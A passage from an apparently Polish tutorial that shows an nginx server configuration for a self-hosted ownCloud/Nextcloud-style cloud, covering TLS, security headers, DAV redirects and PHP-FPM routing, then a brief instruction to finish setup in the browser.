 ssl_certificate_key /etc/letsencrypt/live/chmura.shinsec.pl/privkey.pem;
 ssl_session_timeout 5m;
 ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
 ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';
 ssl_prefer_server_ciphers on;
 ssl_session_cache shared:SSL:10m;
 
 ssl_trusted_certificate /etc/letsencrypt/live/chmura.shinsec.pl/chain.pem;
 ssl_stapling on;
 ssl_stapling_verify on;

 add_header X-Content-Type-Options nosniff;
 add_header X-Frame-Options "SAMEORIGIN";
 add_header X-XSS-Protection "1; mode=block";
 add_header X-Robots-Tag none;
 add_header X-Download-Options noopen;
 add_header X-Permitted-Cross-Domain-Policies none;
 
 location = /robots.txt {
 allow all;
 log_not_found off;
 access_log off;
 }

 location = /.well-known/carddav {
 return 301 $scheme://$host/remote.php/dav;
 }
 location = /.well-known/caldav {
 return 301 $scheme://$host/remote.php/dav;
 }

 location /.well-known/acme-challenge { }

 client_max_body_size 512M;
 fastcgi_buffers 64 4K;

 gzip off;

 error_page 403 /core/templates/403.php;
 error_page 404 /core/templates/404.php;

 location / {
 rewrite ^ /index.php$uri;
 }

 location ~ ^/(?:build|tests|config|lib|3rdparty|templates|data)/ {
 return 404;
 }
 location ~ ^/(?:\.|autotest|occ|issue|indie|db_|console) {
 return 404;
 }

 location ~ ^/(?:index|remote|public|cron|core/ajax/update|status|ocs/v[12]|updater/.+|ocs-provider/.+|core/templates/40[34])\.php(?:$|/) {
 fastcgi_split_path_info ^(.+\.php)(/.*)$;
 include fastcgi_params;
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 fastcgi_param PATH_INFO $fastcgi_path_info;
 fastcgi_param HTTPS on;
 fastcgi_param modHeadersAvailable true;
 fastcgi_param front_controller_active true;
 fastcgi_pass unix:/var/run/php5-fpm.sock;
 fastcgi_intercept_errors on;
 }

 location ~ ^/(?:updater|ocs-provider)(?:$|/) {
 try_files $uri $uri/ =404;
 index index.php;
 }

 location ~* \.(?:css|js)$ {
 try_files $uri /index.php$uri$is_args$args;
 add_header Cache-Control "public, max-age=7200";
 add_header X-Content-Type-Options nosniff;
 add_header X-Frame-Options "SAMEORIGIN";
 add_header X-XSS-Protection "1; mode=block";
 add_header X-Robots-Tag none;
 add_header X-Download-Options noopen;
 add_header X-Permitted-Cross-Domain-Policies none;
 # Optional: Don't log access to assets
 access_log off;
 }

 location ~* \.(?:svg|gif|png|html|ttf|woff|ico|jpg|jpeg)$ {
 try_files $uri /index.php$uri$is_args$args;
 access_log off;
 }
}
Wchodzimy na adres naszej strony i dokańczamy konfigurację wpisując dane bazy danych, konfigurując konto administratora i katalog, gdzie znajdywać się będą pliki. cloud